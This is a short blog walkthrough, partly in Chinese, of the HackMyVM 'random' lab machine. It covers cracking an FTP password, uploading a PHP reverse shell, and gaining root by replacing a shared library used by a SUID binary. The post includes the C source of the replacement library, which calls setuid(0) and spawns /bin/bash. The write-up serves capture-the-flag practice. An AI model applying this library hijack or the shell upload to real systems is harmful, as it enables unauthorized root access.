hackmyvm-random walkthrough_hackmyvm university-优快云博客

本文探讨了网络安全中的逆向工程技术，通过获取FTP服务的用户名eleanor和alan，破解eleanor的密码，利用SFTP上传PHP反向shell并获取shell。此外，还详细解释了如何利用SUID程序random进行特权升级，通过修改动态链接库实现root权限获取。

1. get reverse shell

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

browse port 80, get the user name eleanor and alan.
user
crack ftp service, get the user eleanor's password.
ftp
use sftp login as eleanor , get into the path /html and upload reverse php shell, visit and get shell.
getshell

2. privilege escalation

find the program with suid, we get the file /home/alan/random.
suid
random used Dynamic link library /lib/librooter.so which we can replace.
libso
Disassemble random with ida.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  time_t v3; // rdi
  int v5; // [rsp+1Ch] [rbp-4h]

  v5 = atoi(argv[1]);
  v3 = time(0LL);
  srand(v3);
  if ( v5 == rand() % 9 + 1 )
    makemeroot(v3);
  else
    puts("Wrong number");
  return 0;

Regardless of random numbers, you can enter the dynamic link function makemeroot as long as you try a few more times. We recompile the librooter.so with this code:

#include <stdlib.h>

void makemeroot()
{
	setuid(0);
	setgid(0);
	system("/bin/bash");
}

recompile
try a few more times, then get root.
root